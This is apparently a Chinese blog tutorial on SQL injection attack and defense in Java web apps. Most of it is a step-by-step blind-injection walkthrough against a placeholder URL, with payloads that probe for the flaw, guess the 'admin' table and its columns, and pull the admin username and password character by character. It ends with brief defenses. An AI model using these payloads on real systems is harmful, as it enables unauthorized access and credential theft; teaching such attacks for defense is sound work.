JAVA中的基础----SQL注入的攻击与防御

本文结合实例,讲述在Web应用开发过程中,SQL注入的基本原理、攻击方式及防御手段。梳理知识的同时,纪念一下咱们的1024程序员节。

B/S(浏览器/服务器)模式,属于当前最常见、应用最广泛的网络应用服务形式。web应用服务通常都会向用户提供接口,用于用户鉴权、查询等基础功能,而这些功能则为SQL注入缺陷提供了前提条件

1)SQL注入的概念

所谓SQL注入(sql injection),即通过精心的构造数据库查询代码,查询到更多的网站数据。

SQL注入攻击的含义也就显而易见,即恶意浏览者通过构造数据库查询代码,获取网站的敏感数据,甚至通过网站的一些现有功能恶意的删除数据。

示例:

比如说:查询项目信息

projects数据库表用存放项目信息,那么程序中经常会通过id查数据。id就是url种传递的参数。

如果id传入的参数为1

类似:select  *  from projects where id= '1';返回id为1的项目信息。

但是如果id传入的参数为 ' or  '1'='1

就会执行:select * from projects where id=' ' or '1'='1';会返回全部的项目信息。

2)SQL注入攻击手段

第一步:寻找可能的SQL注入点

    当web应用提供类似http://hostname:port/XXXX/list?id= 这样的查询接口时,那么它的SQL语句也大致如下:

select * from  where  =xx;

   如果对参数的过滤不严格的话,就可能存在SQL的注入点。

第二步:寻找SQL注入漏洞是否存在

     我们试着调用http://hostname:port/XXXX/list?id=1'

      如果浏览器返回:

                   XXXXX语法错误

     我们试着调用http://hostname:port/XXXX/list?id=1;   

     如果浏览器返回:

                   XXXXX不支持所需属性

    我们试着调用http://hostname:port/XXXX/list?id=1 and 1=2

     如果浏览器返回:

                   返回0条数据

    我们试着调用http://hostname:port/XXXX/list?id=1 and 1=1

                   正常返回数据;

    到这里基本可以确认,该网站存在SQL注入漏洞。

第三步:寻找管理账号数据库表

     这时候,我们假设程序员会用admin作为管理账号的数据库表名。

     我们试着调用http://hostname:port/XXXX/list?id=1 and exists( select * from admin)

                  正常返回数据;

     到这里基本可以确认admin表是存在的。

第四步:寻找管理账号数据库表的字段    

      这时候,我们假设admin数据库表会有id字段。

     我们试着调用http://hostname:port/XXXX/list?id=1 and exists( select id from admin)

                  正常返回数据;

     到这里基本可以确认id字段是存在的。

     这时候,我们假设admin数据库表会有username字段。

     我们试着调用http://hostname:port/XXXX/list?id=1 and exists( select username from admin)

                  正常返回数据;

     到这里基本可以确认username字段是存在的。

      这时候,我们假设admin数据库表会有password 字段。

     我们试着调用http://hostname:port/XXXX/list?id=1 and exists( select password from admin)

                  正常返回数据;

     到这里基本可以确认password 字段是存在的。

第五步:寻找用户名和密码的长度

      我们试着调用http://hostname:port/XXXX/list?id=1 and exists( select id from admin id =1)

                  正常返回数据;

     到这里基本可以确认id=1是存在账号数据的。

     我们试着调用http://hostname:port/XXXX/list?id=1 and exists( select id from admin len(username) < 10 and id=1)

                  正常返回数据;

     到这里基本可以确认username的长度<10。

     我们试着调用http://hostname:port/XXXX/list?id=1 and exists( select id from admin len(username) = 9 and id=1)

                  正常返回数据;

     到这里基本可以确认username的长度=9。

     同样的道理,可以猜测密码的长度:

     我们试着调用http://hostname:port/XXXX/list?id=1 and exists( select id from admin len(password) = 20 and id=1)

                  正常返回数据;

     到这里基本可以确认password的长度=20。

第六步:寻找用户名

      我们试着调用http://hostname:port/XXXX/list?id=1 and 1=(select id from (select * from admin where id=1) where asc(mid(username,1,1))<120)

     asc函数是将字符串转为ASCII码值,mid函数是截取username字段值的字串,从第1位开始,截取长度位1。意思就是,我们觉得username的第一个字的ASCII码值小于120。

                  正常返回数据;

     到这里基本可以确认username的第一个字的ASCII码值小于120。

      我们试着调用http://hostname:port/XXXX/list?id=1 and 1=(select id from (select * from admin where id=1) where asc(mid(username,1,1))>90)

                  正常返回数据;

     到这里基本可以确认username的第一个字的ASCII码值大于90。

     同样三明治定理,最终可以确认出username的ASCII码值,进而找到username的第一个字符。

      以此类推,最终可以推算出username。

      假设最终推算的username是rootAdmin。

       我们试着调用http://hostname:port/XXXX/list?id=1 and 1=(select id from (select * from admin where id=1) where username ='rootAdmin')

                  正常返回数据;

     到这里基本可以确认username就是rootAdmin。

第七步:寻找密码

       参考第六步的方式,同样可以找到password。

到此位置,当找到用户名和密码,那么就可以操作原先无法接触到的数据了。

3)SQL注入的防御手段

通过上面的攻击方式,防御的思路主要有以下几点:

a)严格过滤用户提交的数据和输入参数;

b)设置数据库服务器访问的权限;

c)使用存储过程,减少动态SQL语句的使用。

你可能感兴趣的:(java,编程基础,杂谈)